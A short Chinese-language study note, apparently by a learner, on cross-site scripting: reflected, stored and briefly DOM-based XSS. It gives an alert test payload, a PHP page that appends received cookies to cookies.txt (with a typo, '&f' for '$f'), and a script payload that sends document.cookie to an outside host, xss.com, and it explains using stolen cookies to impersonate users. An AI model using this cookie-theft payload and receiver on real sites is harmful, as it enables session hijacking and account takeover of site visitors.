XSS
常用XSS
反射型xss
测试页面是否存在xss。
<script>alert('xss')</script>
如果页面存在XSS,那么就会弹出“XSS”这个字符。
弹出用户cookie
,其中document.cookie可以用来获取用户的cookie。弹出空白可能是因为该页面没有给我们设置cookie
接收用户cookie
如果只是弹出的话,只有访问该页面的人才能看到,而我们是看不到的。
我们可以通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,
把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,
然后再保存起来。
所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。
这个文件就是用来接收cookie并保存的,源码如下:
<?php
$filename = 'cookies.txt';
&f = fopen($filename, 'a');
$cookie = urldecode($_GET['msg']) . PHP_EOL;
fwrite($f,$cookie);
fclose($f);
它会把msg参数的值进行url解码后再保存到cookies.txt这个文件里面
接下来就是构造JS代码来发起一个http请求了。利用Image对象就可以很轻易地完成该任务,新建一个Image对象,然后设置src属性,浏览器在碰到src属性的时候,会自动请求该src指向的url。这个url就写我们刚才写的接收cookie的页面的url,并且传msg参数过去,值为cookie。
最终构造的语句为:
<script>new Image().src="http://xss.com/recv_cookies.php?msg="+encodeURI(document.cookie);</script>
这里为什么要进行URL编码呢?因为为了防止cookie中有特殊字字符,如#等导致cookie不全
在输入框输入上面构造的语句,然后点击发送,然后打开cookies.txt,就可以看到当前访问http页面的人的cookie
拿到cookie后,我们就可以替换cookie来冒充其他人的身份,来做一些恶意操作
存储型xss
反射型XSS在利用的时候要求必须访问特定的URL,这在一定程度上有着局限性。但是,存储型XSS却没有这种弊端,存储型XSS的利用代码被保存在数据库中,在用户访问页面的时候,数据从数据库中取出来。所以用户只要访问了存在XSS的页面就会触发恶意代码,而不需要像反射型XSS那样,必须点击构造好的URL才能触发。
存储型XSS一般发生在留言板等地方,因为它需要把用户输入的内容保存到数据库
用户向服务器提交的数据只是一次性的,如果不保存到数据库,数据就会丢失
mysql_escape_string函数仅用来转义特殊字符而非对字符进行实体编码
输入xss的测试代码
<script>alert('xss')</script>
一般选择留言的地方测试,因为相对来说,允许我们输入的长度限制比较小,有的限制昵称的长度只能为32字符等。
仔细观察url,发现没有参数,但是由于代码保存在数据库,每次访问该页面的时候,都会从数据库中查询出来,所以,用户只要访问该页面,该代码就会被执行。
我们模仿其他用户访问该页面,打开Chrome,访问该页面,因为HTTP是无状态协议,它依靠cookie来识别用户身份,但是不同浏览器之间cookie不共享,所以2个浏览器可以模拟2个用户的身份,因为2个浏览器访问同一个页面的话,产生的cookie不同,如果想要查看2个浏览器的cookie是否相同,可以在想要查看cookie的页面打开开发者工具,然后在控制台输入document.cookie就可以看到当前网站的cookie
发现刚访问就直接弹窗,而我们根本就没有往页面写任何东西!这就是存储型XSS。想想前面的反射型XSS,相比反射型XSS必须在url中带上攻击代码,存储型XSS是不是更实用
我们可以像反射型XSS一样,构造一个浏览器会自动加载的请求,比如img的src属性,然后在src属性的值里带上cookie,这样,当浏览器请求这个url的时候,就会在对方的web服务器上留下日志,而cookie保存在web日志中,当然也可以像实验步骤一一样用一个页面接收cookie更好。
存储型XSS相对反射型XSS来说,它多了数据库的参与,而反射型XSS没有参与。
DOM xss
DOM Based XSS 无需与服务器交互即可完成XSS。我们输入的数据通过浏览器DOM解析后直接显示在页面,与反射型XSS、存储型XSS需要与服务器交互明显不同
其他的还不太会,正在学
嘿嘿~